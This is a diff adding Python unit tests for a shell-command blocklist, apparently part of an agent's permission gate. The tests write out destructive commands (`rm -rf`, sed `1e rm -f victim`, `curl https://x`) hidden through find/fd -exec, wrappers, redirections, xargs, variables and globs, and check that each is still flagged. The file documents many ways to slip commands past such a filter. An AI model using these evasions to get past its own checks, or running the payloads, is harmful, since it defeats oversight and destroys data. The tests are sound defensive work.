's/old/new/g' input") == set() + assert self._find()("sed -l 80 -n '1,20p' input") == set() + + def test_sed_under_find_exec_blocked(self): + # find runs its -exec child directly, but the command-position walk only + # reaches `find`, so the nested sed needs its script read explicitly. + assert "rm" in self._find()("find . -exec sed '1e rm -f victim' {} +") + assert "curl" in self._find()("find . -execdir sed '1e curl https://x' {} \\;") + assert self._find()("find . -exec sed -n '1,3p' {} +") == set() + + def test_sed_under_find_exec_wrapper_blocked(self): + # env/timeout/nice forward -exec to their target, so the sed behind one + # is the process find really runs. Only the token right after the flag + # used to be read, which hid the whole invocation from this scan. + assert "rm" in self._find()("find . -exec env sed '1e rm -f victim' {} +") + assert "rm" in self._find()("find . -exec timeout 5 sed '1e rm -f victim' {} +") + assert "rm" in self._find()("find . -exec nice sed '1e rm -f victim' {} +") + assert "rm" in self._find()("find . -exec env A=b sed '1e rm -f victim' {} +") + assert "curl" in self._find()("find . -execdir env sed '1e curl https://x' {} \\;") + # The same hop resolves the plain blocked-name check on that line, which + # a wrapper hid just as effectively. + assert "rm" in self._find()("find . -exec env rm -rf build {} +") + assert "curl" in self._find()("find . -exec timeout 5 curl https://x {} +") + assert "rm" in self._find()("find . -exec xargs rm -rf build {} +") + # A wrapper is a command in its own right as well as a step on the way + # to one, so hopping it must not drop its own blocked name. + assert "sudo" in self._find()("find . -exec sudo ls {} +") + assert self._find()("find . -exec sudo rm -rf x {} +") >= {"sudo", "rm"} + assert "su" in self._find()("find . -exec su root {} +") + assert self._find()("find . -exec env sed -n '1,3p' {} +") == set() + assert self._find()("find . -exec env sed -i.bak 's/a/b/' {} +") == set() + + def test_sed_script_past_the_scan_window_fails_closed(self): + # A flat argument cap was padding the caller controls: 128 valid options + # pushed the real script one token out of view and the screen came back + # empty. A lone sed now reads its whole argument list... + assert "rm" in self._find()("sed " + "-n " * 128 + "'1e rm -f victim' input") + assert "rm" in self._find()("sed " + "-n " * 300 + "'1e rm -f victim' input") + assert "rm" in self._find()("sed " + "-n " * 128 + "-e '1e rm -f victim' input") + assert self._find()("sed " + "-n " * 300 + "'1,3p' input") == set() + # ...while a line packed with sed words keeps the per-invocation floor + # that holds the total walk linear. Running out of window there means the + # program was never read, so the sed itself is blocked rather than an + # empty result being taken as proof it only edits text. + assert "sed" in self._find()("find . " + "-exec sed " * 1000 + "-n " * 200) + + def test_sed_sandbox_and_posix_modes_not_blocked(self): + # --sandbox disables e/r/w and --posix drops the GNU extension `e` + # belongs to: sed exits 1 without running anything, so blocking a name + # from inside the payload was a false alarm. Abbreviations included. + assert self._find()("sed --sandbox '1e rm -f victim' input") == set() + assert self._find()("sed --posix '1e rm -f victim' input") == set() + assert self._find()("sed --sa '1e rm -f victim' input") == set() + assert self._find()("sed --p '1e rm -f victim' input") == set() + assert self._find()("sed --sandbox -e '1e rm -f victim' input") == set() + assert self._find()("sed --sandbox --expression='1e rm -f victim' input") == set() + assert self._find()("sed --sandbox -- '1e rm -f victim' input") == set() + assert self._find()("sed -e '2d' --sandbox -e '1e rm -f victim' input") == set() + + def test_sed_sandbox_only_covers_the_scripts_written_after_it(self): + # sed compiles each -e/-f script as that option is parsed, so a script + # already compiled runs whatever a later flag says. Verified on GNU sed + # 4.9: `sed -e '1e touch MARKER' --sandbox input` creates MARKER and + # exits 0. Treating the flag as invocation-wide unblocked all of these. + assert "rm" in self._find()("sed -e '1e rm -f victim' --sandbox input") + assert "rm" in self._find()("sed -e '1e rm -f victim' input --sandbox") + assert "rm" in self._find()("sed --expression='1e rm -f victim' --sandbox input") + assert "rm" in self._find()("sed -e '1e rm -f victim' --sandbox -e '2d' input") + # One after the POSITIONAL script suppresses only while getopt permutes, + # which POSIXLY_CORRECT turns off from outside the text being screened, + # so a later flag never counts: `POSIXLY_CORRECT=1 + # sed '1e touch MARKER' input --sandbox` creates MARKER. + assert "rm" in self._find()("sed '1e rm -f victim' input --sandbox") + assert "rm" in self._find()("sed '1e rm -f victim' --sandbox input") + assert "rm" in self._find()("sed '1e rm -f victim' input --posix") + assert "rm" in self._find()("POSIXLY_CORRECT=1 sed '1e rm -f victim' input --sandbox") + # An ordinary edit yields no payload wherever the flag sits, so the + # stricter reading costs nothing outside programs that already exec. + assert self._find()("sed -n '1,3p' input --sandbox") == set() + assert self._find()("sed 's/a/b/g' input --posix") == set() + # `--` ends option parsing, so a --sandbox behind it is an input + # FILENAME: the mode never turns on and the payload runs for real. + assert "rm" in self._find()("sed -- '1e rm -f victim' input --sandbox") + assert "rm" in self._find()("sed '1e rm -f victim' -- input --sandbox") + assert "rm" in self._find()("sed -e '1e rm -f victim' -- input --sandbox") + # An ambiguous (--s) or `=`-carrying spelling is a usage error, not the + # mode, so it keeps blocking. + assert "rm" in self._find()("sed --s '1e rm -f victim' input") + assert "rm" in self._find()("sed --sandbox=1 '1e rm -f victim' input") + + def test_sed_scan_stops_at_the_find_exec_terminator(self): + # `-exec CMD ... +` / `... ;` is a COMPLETE action, so the next + # predicate's words are not sed's. Running past the terminator read the + # following `-exec grep -e safe` as a sed `-e` program flag, which + # discarded the real positional script and left the screen empty. + assert "rm" in self._find()( + "find . -exec sed '1e rm -f victim' {} + -exec grep -e safe {} +" + ) + assert "rm" in self._find()( + "find . -exec sed '1e rm -f victim' {} \\; -exec grep -e safe {} \\;" + ) + assert "rm" in self._find()( + "find . -exec grep -e safe {} + -exec sed '1e rm -f victim' {} +" + ) + assert "curl" in self._find()( + "find . -execdir sed '1e curl https://x' {} + -exec grep -e safe {} +" + ) + assert self._find()("find . -exec sed -n '1,3p' {} + -exec grep -e safe {} +") == set() + + def test_quoted_separator_operand_does_not_end_the_sed_scan(self): + # shlex strips the quoting, so a sed FILE operand spelled `';'` arrives + # as the token a separator does, and stopping there threw away the `-e` + # behind it: `sed -n ';' -e '1e touch MARKER' input` creates MARKER, and + # the `'+'` twin does the same. + assert "rm" in self._find()("sed -n ';' -e '1e rm -f victim' input") + assert "rm" in self._find()("sed -n '+' -e '1e rm -f victim' input") + assert "rm" in self._find()("sed ';' -e '1e rm -f victim' input") + assert "rm" in self._find()("sed '+' -e '1e rm -f victim' input") + assert "rm" in self._find()("sed -n '&' -e '1e rm -f victim' input") + assert "rm" in self._find()("sed -n '|' -e '1e rm -f victim' input") + assert "rm" in self._find()("sed -n '(' -e '1e rm -f victim' input") + assert "curl" in self._find()("sed -n ';' -e '1e curl https://x' input") + # A BARE separator really did end the invocation, so the words after it + # belong to the next command and not to sed. + assert self._find()("sed -n '1,3p' input; grep -e safe input") == set() + assert "rm" in self._find()("sed -n '1,3p' input; rm -rf build") + # ...and the same operand in front of an ordinary program stays silent. + assert self._find()("sed -n ';' -e '1,3p' input") == set() + assert self._find()("sed -n '+' -e '1,3p' input") == set() + + def test_redirection_is_not_the_sed_script(self): + # The shell performs a redirection and removes it, so sed never receives + # those words -- but they stayed in the token list and the first of them + # was taken for the positional script, which left the real one unread. + # Verified on GNU sed 4.9 with a `touch MARKER` payload: every form + # below creates MARKER. + assert "rm" in self._find()("sed out.txt '1e rm -f victim' input") + assert "rm" in self._find()("sed 2>/dev/null '1e rm -f victim' input") + assert "rm" in self._find()("sed 2>&1 '1e rm -f victim' input") + assert "rm" in self._find()("sed &>out.txt '1e rm -f victim' input") + assert "rm" in self._find()("sed >|out.txt '1e rm -f victim' input") + assert "rm" in self._find()("sed <<< 'aaa' '1e rm -f victim'") + # A redirection may also precede a command word outright, and reading + # its target as that word left the real command in argument position: + # `> out.txt rm -rf victim` and `2>&1 rm -rf victim` both really delete. + assert "rm" in self._find()("> out.txt rm -rf victim") + assert "rm" in self._find()("2>&1 rm -rf victim") + assert "rm" in self._find()("echo hi; >log rm -rf victim") + # A bare `&` is still a separator wherever a redirection does not follow. + assert "rm" in self._find()("echo hi & rm -rf victim") + # Ordinary redirected work stays silent. + assert self._find()("sed -n '1,3p' input > out.txt") == set() + assert self._find()("sed 's/a/b/g' input 2>/dev/null") == set() + assert self._find()("sed -n '1,3p' < input") == set() + + def test_compound_operator_ends_the_sed_scan(self): + # shlex's punctuation_chars emits a RUN of operator characters as one + # token, so bash's `|&` arrived as a word no separator test matched and + # the scan ran on into the NEXT command -- taking `grep -e safe` for the + # real script and dropping the payload. Verified: the line runs rm. + assert "rm" in self._find()("sed '1e rm -f victim' input |& grep -e safe") + assert "rm" in self._find()("sed -n '1,3p' f |& sed -e '1e rm -f victim' g") + assert "rm" in self._find()("echo hi |& rm -rf victim") + # ...while a quoted one is a sed FILE operand and must not end it, the + # same way a quoted `';'` does not (`sed -n '|&' -e '1e rm -f victim' + # input` really runs rm: with -e present the operand is just a file). + assert "rm" in self._find()("sed -n '|&' -e '1e rm -f victim' input") + # Benign pipelines keep running silently. + assert self._find()("sed -n '1,3p' input |& grep -e safe") == set() + assert self._find()("grep -r pattern . |& head -5") == set() + + def test_script_file_source_ends_a_continuation(self): + # A source BOUNDARY closes any continuation open across it, so reading + # every -e as one uninterrupted text let an unreadable -f in the middle + # hide a payload: `sed -e '1a\' -f /dev/null -e 'e touch MARKER' input` + # creates MARKER while the same line without the -f does not. + assert "rm" in self._find()(r"sed -e '1a\' -f /dev/null -e 'e rm -f victim' input") + assert "rm" in self._find()(r"sed -e '1a\' -f/dev/null -e 'e rm -f victim' input") + assert "rm" in self._find()(r"sed -e '1a\' --file=/dev/null -e 'e rm -f victim' input") + # ...and with no source boundary the continuation still swallows it. + assert self._find()(r"sed -e '1a\' -e 'e rm -f victim' input") == set() + + def test_program_flag_behind_the_positional_script(self): + # A program flag AHEAD of the positional makes that word an input file. + # One BEHIND it does so only while getopt permutes, so the positional is + # still the script: `POSIXLY_CORRECT=1 sed '1e touch MARKER' input + # -f /dev/null` creates MARKER, as does the `-e p` twin. + assert "rm" in self._find()("sed '1e rm -f victim' input -f /dev/null") + assert "rm" in self._find()("sed '1e rm -f victim' input -e p") + # A flag written FIRST really does demote the positional to a file. + assert self._find()("sed -e p '1e rm -f victim' input") == set() + assert self._find()("sed -f /dev/null '1e rm -f victim' input") == set() + # An ordinary positional read as an extra script yields no payload. + assert self._find()("sed p data.txt -e q") == set() + + def test_xargs_supplied_sed_program_fails_closed(self): + # xargs appends what it reads on stdin to the command it builds, and + # with -I substitutes it into the words already there, so the program + # need not be in the text at all. Both of these run rm for real: + # `printf '1e rm -f victim\0input\0' | xargs -0 sed` and + # `printf '1e rm -f victim\n' | xargs -I{} sed '{}' input`. + assert "sed" in self._find()(r"printf '1e rm -f victim\0input\0' | xargs -0 sed") + assert "sed" in self._find()(r"printf '1e rm -f victim\n' | xargs -I{} sed '{}' input") + assert "sed" in self._find()(r"printf 'x\n' | xargs -I R sed 'R' input") + assert "sed" in self._find()(r"printf 'x\n' | xargs --replace=R sed 'R' input") + # The ordinary idioms carry their program and put the placeholder where + # the FILE goes, so they keep running. + assert self._find()("find . -name '*.py' | xargs sed -i 's/a/b/g'") == set() + assert self._find()("find . -name '*.py' | xargs -I{} sed -i 's/a/b/' {}") == set() + assert self._find()("ls | xargs sed -n '1,3p'") == set() + + def test_only_a_real_assignment_rebinds_a_sed_program(self): + # An assignment-shaped word that is not a shell-state assignment leaves + # `$p` exactly as it was, and recording it overwrote a payload with an + # innocent value bash never assigned. All four of these run rm for real. + payload = "p='1e rm -f victim'" + assert "rm" in self._find()(f"""{payload}; echo p='1,3p'; sed "$p" input""") + assert "rm" in self._find()(f"""{payload}; (p='1,3p'); sed "$p" input""") + assert "rm" in self._find()(f"""{payload}; env p='1,3p' sed "$p" input""") + # A real later assignment still wins, in both orders. + assert self._find()(f"""{payload}; p='1,3p'; sed "$p" input""") == set() + assert "rm" in self._find()("""p='1,3p'; p='1e rm -f victim'; sed "$p" input""") + + def test_exec_flags_only_forward_from_a_command_word(self): + # Any token spelled `fd` or `find` used to turn on exec-flag + # forwarding, so a `-x` or `-exec` in the text after it was read as an + # exec flag and its neighbour hard-blocked. These lines run nothing. + assert self._find()("echo fd -x rm") == set() + assert self._find()("grep fd -x rm file") == set() + assert self._find()("printf '%s' find -exec sed '1e rm -f victim' {} +") == set() + assert self._find()("echo run: find . -exec rm {} \\;") == set() + # A find/fd the shell really runs still forwards, including through a + # wrapper and under a command-position glob bash resolves to one. + assert "rm" in self._find()("find . -exec rm {} \\;") + assert "rm" in self._find()("sudo find . -exec rm {} \\;") + assert "rm" in self._find()("/usr/bin/fin[d] . -exec rm {} \\;") + assert "rm" in self._find()("fd -x rm -rf x") + + def test_redirection_standing_where_an_option_value_goes(self): + # The shell removes a redirection wherever it sits, so an `-e` whose + # value looks like one takes the word BEHIND it as the script: + # `sed -n -e >out '1e touch MARKER' input` really runs the payload. + assert "rm" in self._find()("sed -n -e >out '1e rm -f victim' input") + assert "rm" in self._find()("sed -n -e > out '1e rm -f victim' input") + # ...and the target itself may look like an option or a quoted operator, + # since the shell hands it to open() rather than to sed. Both of these + # execute for real. + assert "rm" in self._find()("sed > --sandbox '1e rm -f victim' input") + assert "rm" in self._find()("sed > ';' '1e rm -f victim' input") + assert "rm" in self._find()("sed > -n '1e rm -f victim' input") + + def test_late_program_flag_and_the_positional_are_alternatives(self): + # Which of the two sed compiles depends on permutation, so they are + # alternatives rather than one program. Joining them let an unterminated + # command in the one swallow the other: `safe` is `s` with delimiter `a` + # and no closing one, and it ate the positional payload behind it while + # `POSIXLY_CORRECT=1 sed '1e touch MARKER' input -e safe` really runs. + assert "rm" in self._find()("sed '1e rm -f victim' input -e safe") + assert "rm" in self._find()("sed '1e rm -f victim' input -e p") + + def test_find_batches_only_at_a_real_plus_terminator(self): + # find closes the batched form at `{} +` only, so a `+` anywhere else is + # an argument it hands the child: `find . -exec sed -n '+' -e + # '1e touch MARKER' {} +` really runs the payload, while the `;` twin + # does not, because a quoted `';'` reaches find as the same word `\\;` + # does and find stops at either. + assert "rm" in self._find()("find . -type f -exec sed -n '+' -e '1e rm -f victim' {} +") + assert self._find()("find . -exec sed -n ';' -e '1e rm -f victim' {} \\;") == set() + # A real terminator still ends the action, so the next predicate's `-e` + # does not replace the script of the sed in the first one. + assert self._find()("find . -exec sed -n '1,3p' {} + -exec grep -e safe {} +") == set() + assert "rm" in self._find()("find . -exec sed '1e rm -f victim' {} + -exec grep -e s {} +") + + def test_sed_program_read_from_a_stream_fails_closed(self): + # An `-f` naming a stream takes the script off stdin, which the command + # text may carry itself: `sed -f - input <prog`, + # `sed -f '>prog' -e '1e rm -f victim' input` takes it as the script + # FILE and really runs the payload behind it. + assert "sed" in self._find()("sed -f '>prog' -e '1e rm -f victim' input") + # A bare one is still a redirection, target quoting and all. + assert "rm" in self._find()("sed > out.txt '1e rm -f victim' input") + assert "rm" in self._find()("sed 2>'/dev/null' '1e rm -f victim' input") + # ...and a quoted operand that merely starts with one runs silently. + assert self._find()("sed -n '1,3p' '>notes'") == set() + + def test_ansi_c_apostrophe_keeps_the_program_intact(self): + # An apostrophe in the decoded word used to send it down the flattening + # path, which destroys the newline a sed comment ends at: + # `sed -n $'# it\\'s harmless\\ne rm -f victim' input` really runs rm. + assert "rm" in self._find()("sed -n $'# it\\'s harmless\\ne rm -f victim' input") + assert self._find()("printf '%s' $'it\\'s fine\\nrm -rf x'") == set() + + def test_fd_attached_and_end_of_option_exec_flags(self): + # fd takes the command attached to the short option, and only the exact + # spellings opened an action: `fd '^victim$' . -xrm` deletes the match + # for real (checked on fdfind 9.0.0). + assert "rm" in self._find()("fd '^victim$' /tmp/work -xrm") + assert "rm" in self._find()("fd '^victim$' . -Xrm") + # ...while nothing behind a bare `--` is an option at all, so a pattern + # named `-x` merely lists the file it matches. + assert self._find()("fd -- -x rm") == set() + assert "rm" in self._find()("fd -x rm -rf x") + + def test_fd_exec_flags_reach_the_child_command(self): + # fd runs its `-x` / `-X` / `--exec` / `--exec-batch` child directly, + # exactly as find runs an `-exec` one, but only find's own spellings + # were scanned -- so a plain `fd -x rm -rf x` and a nested + # `fd -x sed '1e rm -f victim' {}` both reached this blocklist as + # nothing at all (verified: both really run). + assert "rm" in self._find()("fd -x rm -rf x") + assert "rm" in self._find()("fd --exec rm -rf x") + assert "rm" in self._find()("fd -X rm -rf x") + assert "rm" in self._find()("fd --exec-batch rm -rf x") + assert "rm" in self._find()("fd -x sed '1e rm -f victim' {}") + assert "rm" in self._find()("fd --exec sed '1e rm -f victim' {}") + assert "rm" in self._find()("fd -X sed '1e rm -f victim' {}") + assert "rm" in self._find()("fd --exec-batch sed '1e rm -f victim' {}") + assert "curl" in self._find()("fd -x env sed '1e curl https://x' {}") + # The letters belong to too many other tools to read a neighbour of them + # as a command, so they only count while find/fd is in scope and no + # action is open yet: `grep -x rm file` matches whole lines against a + # pattern and runs nothing. + assert self._find()("grep -x rm file") == set() + assert self._find()("find . -exec grep -x rm {} \\;") == set() + assert self._find()("cat f | grep -x rm") == set() + assert self._find()("fd -x sed -n '1,3p' {}") == set() + assert self._find()("fd . -x wc -l {}") == set() + + def test_exec_wrapper_chain_past_the_hop_budget_fails_closed(self): + # The wrapper hop is bounded, but running out of budget was reported as + # "no child", which reads as safe: `find . -exec` + 33 `env` + + # `rm -f input ;` deletes the file for real. Block the chain instead. + assert self._find()("find . -exec " + "env " * 33 + "rm -f victim ;") + assert self._find()("find . -exec " + "env " * 33 + "sed '1e rm -f victim' {} +") + # A chain inside the budget still resolves to the real child. + assert "rm" in self._find()("find . -exec " + "env " * 8 + "rm -f victim ;") + assert self._find()("find . -exec " + "env " * 8 + "sed -n '1,3p' {} +") == set() + + def test_sed_behind_a_wrapper_option_with_an_operand(self): + # A wrapper option whose value is a SEPARATE token consumes that token, + # so the command behind it is the one find runs. Without consuming it + # `env -u FOO sed ...` reported FOO as the child and the script was + # never read. + assert "rm" in self._find()("find . -exec env -u FOO sed '1e rm -f victim' {} +") + assert "rm" in self._find()("find . -exec env --unset FOO sed '1e rm -f victim' {} +") + assert "rm" in self._find()("find . -exec stdbuf -o L sed '1e rm -f victim' {} +") + assert "rm" in self._find()("find . -exec nice -n 5 sed '1e rm -f victim' {} +") + assert "rm" in self._find()("find . -exec timeout -s KILL 5 sed '1e rm -f victim' {} +") + # An attached spelling carries its own value, so nothing extra is eaten. + assert "rm" in self._find()("find . -exec env -uFOO sed '1e rm -f victim' {} +") + assert "rm" in self._find()("find . -exec env --unset=FOO sed '1e rm -f victim' {} +") + assert self._find()("find . -exec env -u FOO sed -n '1,3p' {} +") == set() + assert self._find()("find . -exec stdbuf -o L sed -n '1,3p' {} +") == set() + + def test_wrapper_option_operand_is_not_the_command(self): + # The same hop at TOP level, which had the same hole: the operand was + # read as the command word and the real one behind it was never + # reached. It also stops the operand being blamed for a name it only + # spells (`timeout -s KILL` runs no `kill`, `env -u kill` runs no kill). + assert "rm" in self._find()("env -u PATH rm -rf x") + assert "rm" in self._find()("env --unset PATH rm -rf x") + assert "rm" in self._find()("stdbuf -o L rm -rf x") + assert "rm" in self._find()("xargs -I {} rm -rf build") + assert "rm" in self._find()("timeout -s KILL 5 rm -rf x") + assert "curl" in self._find()("xargs -E rm curl https://x") + assert self._find()("env -u kill ls") == set() + assert self._find()("env -u FOO ls -la") == set() + # A real command-position kill is still caught. + assert "kill" in self._find()("timeout -s KILL 5 kill -9 1") + + def test_sed_program_held_in_a_variable(self): + # shlex keeps a quoted value whole, newlines and all, so resolving the + # reference shows the program sed really receives. Only that view has + # the newline that ENDS the comment; with it flattened the whole value + # reads as one inert comment line. + assert "rm" in self._find()("p='# harmless\ne rm -f victim'; sed \"$p\" input") + assert "rm" in self._find()("p='# harmless\ne rm -f victim'; sed \"${p}\" input") + assert "rm" in self._find()('p=e; sed "$p rm -f victim" input') + assert "curl" in self._find()("prog='1e curl https://x'; sed \"$prog\" input") + assert self._find()("p='1,3p'; sed -n \"$p\" input") == set() + assert self._find()("p='s/old/new/g'; sed \"$p\" input") == set() + # An unassigned name is left as written rather than invented. + assert self._find()('sed "$undefined" input') == set() + # A value that is not itself literal is no resolution either: the lexer + # splits `p=$(...)` at the `(`, and the leftover binding `p` -> `$` + # substituted a bare `$` for the program, dressing an unread script up + # as a plausible literal. The blocklist has no name to report there, so + # it reports none -- the auto gate is what asks (see test_permission_mode). + assert self._find()("p=$(printf '1e rm -f victim'); sed \"$p\" input") == set() + + def test_sed_program_uses_the_last_assignment_before_it(self): + # bash expands `$p` to the binding performed most recently BEFORE the + # reference. Folding the line into a first-wins map kept the earliest + # one instead, so an innocent first assignment hid the real program: + # verified on GNU sed 4.9 that `p='1,3p'; p='1e touch MARKER'; + # sed "$p" input` creates MARKER. + assert "rm" in self._find()("p='1,3p'; p='1e rm -f victim'; sed \"$p\" input") + assert "curl" in self._find()("p='s/a/b/'; p='1e curl https://x'; sed \"$p\" input") + assert "rm" in self._find()("p='1,3p'; p='s/x/y/'; p='1e rm -f victim'; sed \"$p\" input") + # ...and the reverse order really is inert, so it must not be blocked. + assert self._find()("p='1e rm -f victim'; p='1,3p'; sed \"$p\" input") == set() + # Only the assignments AHEAD of a sed can reach it, so a later one does + # not disarm an earlier program (verified: this creates MARKER too). + assert "rm" in self._find()("p='1e rm -f victim'; sed \"$p\" input; p='1,3p'") + # A non-literal reassignment CLEARS the name rather than leaving the + # stale earlier value standing, so nothing is invented for `$p`. + assert self._find()("p='1,3p'; p=$(printf '1e rm -f victim'); sed \"$p\" input") == set() + # Each sed on the line is judged against its own scope. + assert "rm" in self._find()("p='1,3p'; sed \"$p\" f; p='1e rm -f victim'; sed \"$p\" f") + assert self._find()("p='1,3p'; sed \"$p\" f; p='s/a/b/'; sed \"$p\" f") == set() + + def test_sed_program_built_by_a_parameter_transformation(self): + # `${p#x}` and its family are not modelled, so the program is UNREAD + # rather than harmless. The blocklist can only report a name it can see, + # and there is none here -- the auto gate carries these (verified on GNU + # sed 4.9: `p='x 1e touch MARKER'; sed "${p#x }" input` creates MARKER). + assert self._find()("p='x 1e rm -f victim'; sed \"${p#x }\" input") == set() + assert self._find()("p='1e rm -f victimZ'; sed \"${p%Z}\" input") == set() + assert self._find()("printf -v p '1e rm -f victim'; sed \"$p\" input") == set() + + def test_sed_program_behind_an_arithmetic_expansion(self): + # Arithmetic evaluates to an integer, so a digit stands in for it and + # the expansion's own punctuation stops hiding the command behind it. + # Read raw, `$((c+1))e rm -f victim` takes the `c` for an append-text + # command that swallows the payload, while real sed runs rm. + assert "rm" in self._find()('sed "$((c+1))e rm -f victim" input') + assert "rm" in self._find()('sed "$[c+1]e rm -f victim" input') + assert "curl" in self._find()('sed "$((4/2))e curl https://x" input') + # Ordinary line maths still yields no payload. + assert self._find()('sed -n "1,$((n + 1))p" f') == set() + + def test_sed_spelled_as_a_command_glob(self): + # Bash expands a command-position glob after this scan, so a pattern + # that could resolve to sed is screened as sed. The name check was + # exact, and the script behind `/usr/bin/s[e]d` was never read. + assert "rm" in self._find()("/usr/bin/s[e]d '1e rm -f victim' input") + assert "rm" in self._find()("/usr/bin/s*d '1e rm -f victim' input") + assert "curl" in self._find()("/usr/bin/se? '1e curl https://x' input") + assert "rm" in self._find()("find . -exec /usr/bin/s[e]d '1e rm -f victim' {} +") + # Reading a non-sed tool's arguments as a program costs nothing: with no + # `e` command there is no payload. + assert self._find()("/usr/bin/s[e]d -n '1,3p' input") == set() + assert self._find()("/bin/l[s] -la") == set() + + def test_ordinary_sed_program_allowed(self): + # Plain stream editing runs nothing, and a mention of sed in argument + # position is text: only a command-position sed has its script read. + assert self._find()("sed 's/old/new/g' input") == set() + assert self._find()("sed -n '1,20p' input") == set() + assert self._find()("sed 's/rm/RM/g' input") == set() + assert self._find()("printf '%s' sed '1e rm -rf victim'") == set() + assert self._find()("sed 's/a/b/we out.txt' input") == set() + assert self._find()("sed -e '1a\\' -e 'e rm -rf x' input") == set() + def test_subshell_command_blocked(self): assert "rm" in self._find()("echo $(rm -rf /tmp)")